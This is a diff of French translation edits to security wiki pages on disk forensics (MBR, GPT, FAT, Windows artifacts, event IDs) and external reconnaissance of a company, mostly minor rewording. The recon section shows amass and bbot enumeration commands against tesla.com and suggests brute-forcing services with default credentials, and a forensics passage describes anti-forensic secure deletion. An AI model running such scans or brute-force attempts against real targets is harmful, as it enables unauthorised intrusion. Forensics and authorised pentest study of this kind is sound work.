Il permet jusqu'à **4 partitions** (au maximum **juste 1** peut être active/**bootable**). Cependant, si vous avez besoin de plus de partitions, vous pouvez utiliser des **partitions étendues**. Le **dernier octet** de ce premier secteur est la signature du boot record **0x55AA**. Une seule partition peut être marquée comme active.\
|
||||
Il permet jusqu'à **4 partitions** (au maximum **juste 1** peut être active/**démarrable**). Cependant, si vous avez besoin de plus de partitions, vous pouvez utiliser des **partitions étendues**. Le **dernier octet** de ce premier secteur est la signature du boot record **0x55AA**. Une seule partition peut être marquée comme active.\
|
||||
Le MBR permet **max 2.2TB**.
|
||||
|
||||
.png>)
|
||||
@ -36,7 +36,7 @@ Des **octets 440 à 443** du MBR, vous pouvez trouver la **signature de disque W
|
||||
|
||||
| Offset | Longueur | Élément |
|
||||
| --------- | -------- | ------------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | Drapeau actif (0x80 = bootable) |
|
||||
| 0 (0x00) | 1 (0x01) | Drapeau actif (0x80 = démarrable) |
|
||||
| 1 (0x01) | 1 (0x01) | Tête de départ |
|
||||
| 2 (0x02) | 1 (0x01) | Secteur de départ (bits 0-5); bits supérieurs du cylindre (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Cylindre de départ 8 bits les plus bas |
|
||||
@ -49,7 +49,7 @@ Des **octets 440 à 443** du MBR, vous pouvez trouver la **signature de disque W
|
||||
|
||||
Pour monter un MBR sous Linux, vous devez d'abord obtenir l'offset de départ (vous pouvez utiliser `fdisk` et la commande `p`)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Et ensuite, utilisez le code suivant
|
||||
```bash
|
||||
@ -66,13 +66,13 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
La Table de partition GUID, connue sous le nom de GPT, est privilégiée pour ses capacités améliorées par rapport au MBR (Master Boot Record). Distinctive pour son **identifiant unique global** pour les partitions, GPT se distingue de plusieurs manières :
|
||||
|
||||
- **Emplacement et taille** : À la fois GPT et MBR commencent au **secteur 0**. Cependant, GPT fonctionne sur **64 bits**, contrairement aux 32 bits du MBR.
|
||||
- **Limites de partition** : GPT prend en charge jusqu'à **128 partitions** sur les systèmes Windows et peut accueillir jusqu'à **9,4 ZB** de données.
|
||||
- **Noms de partition** : Offre la possibilité de nommer les partitions avec jusqu'à 36 caractères Unicode.
|
||||
- **Emplacement et taille** : Tant GPT que MBR commencent au **secteur 0**. Cependant, GPT fonctionne sur **64 bits**, contrairement aux 32 bits de MBR.
|
||||
- **Limites de partition** : GPT prend en charge jusqu'à **128 partitions** sur les systèmes Windows et peut accueillir jusqu'à **9,4ZB** de données.
|
||||
- **Noms de partitions** : Offre la possibilité de nommer les partitions avec jusqu'à 36 caractères Unicode.
|
||||
|
||||
**Résilience et récupération des données** :
|
||||
|
||||
- **Redondance** : Contrairement au MBR, GPT ne confine pas les données de partition et de démarrage à un seul endroit. Il réplique ces données sur le disque, améliorant ainsi l'intégrité et la résilience des données.
|
||||
- **Redondance** : Contrairement à MBR, GPT ne confine pas les données de partition et de démarrage à un seul endroit. Il réplique ces données sur le disque, améliorant ainsi l'intégrité et la résilience des données.
|
||||
- **Contrôle de redondance cyclique (CRC)** : GPT utilise le CRC pour garantir l'intégrité des données. Il surveille activement la corruption des données, et lorsqu'elle est détectée, GPT tente de récupérer les données corrompues à partir d'un autre emplacement sur le disque.
|
||||
|
||||
**MBR protecteur (LBA0)** :
|
||||
@ -85,9 +85,9 @@ La Table de partition GUID, connue sous le nom de GPT, est privilégiée pour se
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Dans les systèmes d'exploitation qui prennent en charge le **démarrage basé sur GPT via les services BIOS** plutôt que EFI, le premier secteur peut également être utilisé pour stocker la première étape du code du **bootloader**, mais **modifié** pour reconnaître les **partitions GPT**. Le bootloader dans le MBR ne doit pas supposer une taille de secteur de 512 octets.
|
||||
Dans les systèmes d'exploitation qui prennent en charge **le démarrage basé sur GPT via les services BIOS** plutôt que EFI, le premier secteur peut également être utilisé pour stocker la première étape du code du **bootloader**, mais **modifié** pour reconnaître les **partitions GPT**. Le bootloader dans le MBR ne doit pas supposer une taille de secteur de 512 octets.
|
||||
|
||||
**En-tête de table de partition (LBA 1)**
|
||||
**En-tête de la table de partition (LBA 1)**
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
@ -114,14 +114,14 @@ L'en-tête de la table de partition définit les blocs utilisables sur le disque
|
||||
**Entrées de partition (LBA 2–33)**
|
||||
|
||||
| Format d'entrée de partition GUID | | |
|
||||
| ----------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Longueur | Contenu |
|
||||
| 0 (0x00) | 16 octets | [Type de partition GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixte) |
|
||||
| 16 (0x10) | 16 octets | GUID de partition unique (endian mixte) |
|
||||
| 32 (0x20) | 8 octets | Premier LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 octets | Dernier LBA (inclusif, généralement impair) |
|
||||
| 48 (0x30) | 8 octets | Drapeaux d'attributs (par exemple, le bit 60 indique en lecture seule) |
|
||||
| 56 (0x38) | 72 octets | Nom de la partition (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unités de code) |
|
||||
| --------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Longueur | Contenu |
|
||||
| 0 (0x00) | 16 octets | [GUID de type de partition](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixte) |
|
||||
| 16 (0x10) | 16 octets | GUID de partition unique (endian mixte) |
|
||||
| 32 (0x20) | 8 octets | Premier LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 octets | Dernier LBA (inclusif, généralement impair) |
|
||||
| 48 (0x30) | 8 octets | Drapeaux d'attributs (par exemple, le bit 60 indique lecture seule) |
|
||||
| 56 (0x38) | 72 octets | Nom de la partition (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unités de code) |
|
||||
|
||||
**Types de partitions**
|
||||
|
||||
@ -149,7 +149,7 @@ S'il s'agissait d'une **table GPT au lieu d'un MBR**, la signature _EFI PART_ de
|
||||
|
||||
### FAT
|
||||
|
||||
Le système de fichiers **FAT (Table d'allocation de fichiers)** est conçu autour de son composant central, la table d'allocation de fichiers, positionnée au début du volume. Ce système protège les données en maintenant **deux copies** de la table, garantissant l'intégrité des données même si l'une est corrompue. La table, ainsi que le dossier racine, doivent être dans un **emplacement fixe**, crucial pour le processus de démarrage du système.
|
||||
Le système de fichiers **FAT (Table d'allocation de fichiers)** est conçu autour de son composant central, la table d'allocation de fichiers, positionnée au début du volume. Ce système protège les données en maintenant **deux copies** de la table, garantissant l'intégrité des données même si l'une est corrompue. La table, ainsi que le dossier racine, doit être dans un **emplacement fixe**, crucial pour le processus de démarrage du système.
|
||||
|
||||
L'unité de stockage de base du système de fichiers est un **cluster, généralement 512B**, comprenant plusieurs secteurs. FAT a évolué à travers des versions :
|
||||
|
||||
@ -199,7 +199,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **Carving de fichiers**
|
||||
|
||||
Le **carving de fichiers** est une technique qui essaie de **trouver des fichiers dans la masse de données**. Il existe 3 principales manières dont des outils comme celui-ci fonctionnent : **Basé sur les en-têtes et pieds de page des types de fichiers**, basé sur les **structures** des types de fichiers et basé sur le **contenu** lui-même.
|
||||
**Le carving de fichiers** est une technique qui tente de **trouver des fichiers dans la masse de données**. Il existe 3 principales manières dont des outils comme celui-ci fonctionnent : **Basé sur les en-têtes et pieds de page des types de fichiers**, basé sur les **structures** des types de fichiers et basé sur le **contenu** lui-même.
|
||||
|
||||
Notez que cette technique **ne fonctionne pas pour récupérer des fichiers fragmentés**. Si un fichier **n'est pas stocké dans des secteurs contigus**, alors cette technique ne pourra pas le trouver ou au moins une partie de celui-ci.
|
||||
|
||||
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Suppression sécurisée
|
||||
|
||||
Évidemment, il existe des moyens de **"supprimer de manière sécurisée" des fichiers et une partie des journaux les concernant**. Par exemple, il est possible de **surcharger le contenu** d'un fichier avec des données inutiles plusieurs fois, puis **de supprimer** les **journaux** du **$MFT** et **$LOGFILE** concernant le fichier, et **de supprimer les copies de volume shadow**.\
|
||||
Évidemment, il existe des moyens de **"supprimer de manière sécurisée" des fichiers et une partie des journaux les concernant**. Par exemple, il est possible de **réécrire le contenu** d'un fichier avec des données inutiles plusieurs fois, puis **de supprimer** les **journaux** du **$MFT** et **$LOGFILE** concernant le fichier, et **de supprimer les copies de l'ombre du volume**.\
|
||||
Vous pouvez remarquer qu'en effectuant cette action, il peut y avoir **d'autres parties où l'existence du fichier est toujours enregistrée**, et c'est vrai, et une partie du travail des professionnels de l'analyse judiciaire est de les trouver.
|
||||
|
||||
## Références
|
||||
|
@ -112,10 +112,10 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) est un outil qui
|
||||
|
||||
- Lit un fichier PCAP et extrait les flux Http.
|
||||
- gzip décompresse tous les flux compressés
|
||||
- Scanne chaque fichier avec yara
|
||||
- Écrit un rapport.txt
|
||||
- Enregistre éventuellement les fichiers correspondants dans un répertoire
|
||||
- Décompresse les flux compressés avec gzip.
|
||||
- Scanne chaque fichier avec yara.
|
||||
- Écrit un rapport.txt.
|
||||
- Enregistre éventuellement les fichiers correspondants dans un répertoire.
|
||||
|
||||
### Analyse de Malware
|
||||
|
||||
|
@ -4,47 +4,38 @@
|
||||
|
||||
Ici, vous pouvez trouver des astuces intéressantes pour des types de fichiers et/ou des logiciels spécifiques :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
desofuscation-vbs-cscript.exe.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
local-cloud-storage.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
office-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pdf-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
png-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
video-and-audio-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
zips-tricks.md
|
||||
{{#endref}}
|
||||
|
@ -24,7 +24,7 @@ Les fichiers téléchargés peuvent contenir l'**ADS Zone.Identifier** indiquant
|
||||
|
||||
### Corbeille
|
||||
|
||||
Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du disque (`C:\$Recycle.bin`).\
|
||||
Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\
|
||||
Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés :
|
||||
|
||||
- `$I{id}` : Informations sur le fichier (date de sa suppression)
|
||||
@ -40,7 +40,7 @@ Avec ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com
|
||||
|
||||
### Copies de Volume Shadow
|
||||
|
||||
La copie Shadow est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes informatiques, même lorsqu'ils sont en cours d'utilisation.
|
||||
La copie Shadow est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes informatiques, même lorsqu'ils sont utilisés.
|
||||
|
||||
Ces sauvegardes se trouvent généralement dans le `\System Volume Information` à la racine du système de fichiers et le nom est composé de **UIDs** montrés dans l'image suivante :
|
||||
|
||||
@ -122,8 +122,8 @@ Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://
|
||||
|
||||
Il est possible d'identifier qu'un appareil USB a été utilisé grâce à la création de :
|
||||
|
||||
- Dossier Récents Windows
|
||||
- Dossier Récents Microsoft Office
|
||||
- Dossier Récents de Windows
|
||||
- Dossier Récents de Microsoft Office
|
||||
- Jumplists
|
||||
|
||||
Notez que certains fichiers LNK au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE :
|
||||
@ -140,7 +140,7 @@ Les fichiers dans le dossier WPDNSE sont une copie des originaux, donc ne surviv
|
||||
|
||||
Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages concernant le moment où la connexion USB a été produite (recherchez `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
@ -158,7 +158,7 @@ Une capture d'écran montrant le contenu de la tâche est fournie : ** : Indique au Planificateur de tâches de lancer la tâche de nettoyage mensuellement lors de la maintenance automatique régulière.
|
||||
@ -179,9 +179,9 @@ De plus, à l'intérieur des en-têtes `References` et `In-Reply-To`, vous pouve
|
||||
|
||||
.png>)
|
||||
|
||||
### Application Mail Windows
|
||||
### Application Mail de Windows
|
||||
|
||||
Cette application enregistre les emails en HTML ou texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`.
|
||||
Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`.
|
||||
|
||||
Les **métadonnées** des emails et les **contacts** peuvent être trouvés à l'intérieur de la **base de données EDB** : `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
@ -242,7 +242,7 @@ Le Registre Windows, stockant d'importantes données sur le système et l'activi
|
||||
Certains outils sont utiles pour analyser les fichiers de registre :
|
||||
|
||||
- **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer à travers le registre Windows de la session actuelle.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence des clés avec des informations intéressantes.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence les clés avec des informations intéressantes.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il a une interface graphique qui permet de naviguer à travers le registre chargé et contient également des plugins qui mettent en évidence des informations intéressantes à l'intérieur du registre chargé.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application GUI capable d'extraire les informations importantes du registre chargé.
|
||||
|
||||
@ -273,11 +273,11 @@ interesting-windows-registry-keys.md
|
||||
|
||||
Dans [ce post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d), vous pouvez apprendre sur les processus Windows communs pour détecter des comportements suspects.
|
||||
|
||||
### Applications Récentes Windows
|
||||
### Applications Récentes de Windows
|
||||
|
||||
À l'intérieur du registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, **la dernière fois** qu'elle a été exécutée, et **le nombre de fois** qu'elle a été lancée.
|
||||
|
||||
### BAM (Modérateur d'Activité en Arrière-plan)
|
||||
### BAM (Modérateur d'Activité en Arrière-Plan)
|
||||
|
||||
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre).
|
||||
|
||||
@ -299,7 +299,7 @@ Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https:
|
||||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** a le même objectif que prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service de prefetch.\
|
||||
**Superprefetch** a le même objectif que le prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service de prefetch.\
|
||||
Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin** **complet**, les **plages horaires** et les **horodatages**.
|
||||
@ -367,7 +367,7 @@ Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZ
|
||||
|
||||
### Tâches planifiées
|
||||
|
||||
Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire au format XML.
|
||||
Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire en tant que XML.
|
||||
|
||||
### Services
|
||||
|
||||
@ -378,9 +378,9 @@ Vous pouvez les trouver dans le registre sous `SYSTEM\ControlSet001\Services`. V
|
||||
Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Ce dépôt a un **journal** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**.
|
||||
|
||||
À l'intérieur de la table Application de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de vérifier si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels.
|
||||
À l'intérieur de la table Application de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il peut être vérifié si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels.
|
||||
|
||||
Il est également possible de **trouver des applications installées** dans le chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Il est également possible de **trouver des applications installées** à l'intérieur du chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Et **des applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Événements Windows
|
||||
@ -412,18 +412,18 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
||||
|
||||
#### Sous-types dans EventID 4634/4647 :
|
||||
|
||||
- **Interactive (2)** : Connexion directe de l'utilisateur.
|
||||
- **Network (3)** : Accès aux dossiers partagés.
|
||||
- **Interactif (2)** : Connexion directe de l'utilisateur.
|
||||
- **Réseau (3)** : Accès aux dossiers partagés.
|
||||
- **Batch (4)** : Exécution de processus par lots.
|
||||
- **Service (5)** : Lancements de services.
|
||||
- **Proxy (6)** : Authentification par proxy.
|
||||
- **Unlock (7)** : Écran déverrouillé avec un mot de passe.
|
||||
- **Network Cleartext (8)** : Transmission de mot de passe en texte clair, souvent depuis IIS.
|
||||
- **New Credentials (9)** : Utilisation de différentes informations d'identification pour l'accès.
|
||||
- **Remote Interactive (10)** : Connexion à distance ou services de terminal.
|
||||
- **Cache Interactive (11)** : Connexion avec des informations d'identification mises en cache sans contact avec le contrôleur de domaine.
|
||||
- **Cache Remote Interactive (12)** : Connexion à distance avec des informations d'identification mises en cache.
|
||||
- **Cached Unlock (13)** : Déverrouillage avec des informations d'identification mises en cache.
|
||||
- **Déverrouillage (7)** : Écran déverrouillé avec un mot de passe.
|
||||
- **Réseau Cleartext (8)** : Transmission de mot de passe en texte clair, souvent depuis IIS.
|
||||
- **Nouveaux identifiants (9)** : Utilisation de différents identifiants pour l'accès.
|
||||
- **Interactif à distance (10)** : Connexion à distance ou services de terminal.
|
||||
- **Cache interactif (11)** : Connexion avec des identifiants mis en cache sans contact avec le contrôleur de domaine.
|
||||
- **Cache à distance interactif (12)** : Connexion à distance avec des identifiants mis en cache.
|
||||
- **Déverrouillage mis en cache (13)** : Déverrouillage avec des identifiants mis en cache.
|
||||
|
||||
#### Codes d'état et sous-codes pour EventID 4625 :
|
||||
|
||||
@ -435,8 +435,8 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
||||
- **0xC0000070** : Violation des restrictions de station de travail - Pourrait être une tentative de connexion depuis un emplacement non autorisé.
|
||||
- **0xC0000193** : Expiration du compte - Tentatives d'accès avec des comptes utilisateurs expirés.
|
||||
- **0xC0000071** : Mot de passe expiré - Tentatives de connexion avec des mots de passe obsolètes.
|
||||
- **0xC0000133** : Problèmes de synchronisation horaire - De grandes différences de temps entre le client et le serveur peuvent indiquer des attaques plus sophistiquées comme le pass-the-ticket.
|
||||
- **0xC0000224** : Changement de mot de passe obligatoire requis - Des changements obligatoires fréquents pourraient suggérer une tentative de déstabiliser la sécurité du compte.
|
||||
- **0xC0000133** : Problèmes de synchronisation horaire - Grandes divergences de temps entre le client et le serveur peuvent indiquer des attaques plus sophistiquées comme le pass-the-ticket.
|
||||
- **0xC0000224** : Changement de mot de passe obligatoire requis - Changements obligatoires fréquents pourraient suggérer une tentative de déstabiliser la sécurité du compte.
|
||||
- **0xC0000225** : Indique un bug système plutôt qu'un problème de sécurité.
|
||||
- **0xC000015b** : Type de connexion refusé - Tentative d'accès avec un type de connexion non autorisé, comme un utilisateur essayant d'exécuter une connexion de service.
|
||||
|
||||
@ -458,7 +458,7 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
||||
- **10100** : Mise à jour du pilote USB.
|
||||
- **EventID 112** : Heure de l'insertion de l'appareil USB.
|
||||
|
||||
Pour des exemples pratiques sur la simulation de ces types de connexion et d'opportunités de dumping d'informations d'identification, consultez [le guide détaillé d'Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
Pour des exemples pratiques sur la simulation de ces types de connexion et d'opportunités de dumping d'identifiants, consultez [le guide détaillé d'Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Les détails des événements, y compris les codes d'état et de sous-état, fournissent des informations supplémentaires sur les causes des événements, particulièrement notables dans l'Event ID 4625.
|
||||
|
||||
@ -480,9 +480,9 @@ Enregistré par l'EventID 4616, les changements d'heure système peuvent compliq
|
||||
|
||||
#### Suivi des appareils USB
|
||||
|
||||
Les identifiants d'événements système utiles pour le suivi des appareils USB incluent 20001/20003/10000 pour l'utilisation initiale, 10100 pour les mises à jour de pilotes, et l'EventID 112 de DeviceSetupManager pour les horodatages d'insertion.
|
||||
Les EventIDs système utiles pour le suivi des appareils USB incluent 20001/20003/10000 pour l'utilisation initiale, 10100 pour les mises à jour de pilotes, et l'EventID 112 de DeviceSetupManager pour les horodatages d'insertion.
|
||||
|
||||
#### Événements d'alimentation système
|
||||
#### Événements d'alimentation du système
|
||||
|
||||
L'EventID 6005 indique le démarrage du système, tandis que l'EventID 6006 marque l'arrêt.
|
||||
|
||||
|
@ -34,7 +34,7 @@ Vous pouvez **chercher** par nom d'entreprise, par **IP** ou par **domaine** dan
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Aussi, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrège et résume automatiquement les ASN à la fin de l'analyse.
|
||||
Aussi, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot)**** agrège et résume automatiquement les ASN à la fin de l'analyse.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
@ -51,14 +51,14 @@ bbot -t tesla.com -f subdomain-enum
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Vous pouvez trouver les plages IP d'une organisation en utilisant également [http://asnlookup.com/](http://asnlookup.com) (il a une API gratuite).\
|
||||
Vous pouvez trouver les plages IP d'une organisation également en utilisant [http://asnlookup.com/](http://asnlookup.com) (il a une API gratuite).\
|
||||
Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer un pentesting sur plusieurs services possibles en cours d'exécution.\
|
||||
**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et** de mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domaines
|
||||
|
||||
@ -90,8 +90,8 @@ Vous pouvez utiliser des outils en ligne comme :
|
||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuit**
|
||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuit** web, API non gratuite.
|
||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Non gratuit
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non Gratuit (seulement **100 recherches gratuites**)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Non Gratuit
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit
|
||||
|
||||
Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink) (nécessite une clé API whoxy).\
|
||||
Vous pouvez également effectuer une découverte automatique de whois inversé avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois`
|
||||
@ -143,19 +143,19 @@ return fhash
|
||||
|
||||
Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de copyright** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
### **Temps CRT**
|
||||
|
||||
Il est courant d'avoir un travail cron tel que
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
pour renouveler tous les certificats de domaine sur le serveur. Cela signifie que même si le CA utilisé pour cela ne fixe pas le temps de génération dans le temps de validité, il est possible de **trouver des domaines appartenant à la même entreprise dans les journaux de transparence des certificats**.\
|
||||
pour renouveler tous les certificats de domaine sur le serveur. Cela signifie que même si l'AC utilisée pour cela ne définit pas le temps de génération dans le temps de validité, il est possible de **trouver des domaines appartenant à la même entreprise dans les journaux de transparence des certificats**.\
|
||||
Consultez ce [**writeup pour plus d'informations**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Informations sur le Mail DMARC
|
||||
|
||||
Vous pouvez utiliser un site web tel que [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou un outil tel que [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) pour trouver des **domaines et sous-domaines partageant les mêmes informations DMARC**.
|
||||
Vous pouvez utiliser un site web tel que [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou un outil tel que [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) pour trouver **des domaines et sous-domaines partageant les mêmes informations DMARC**.
|
||||
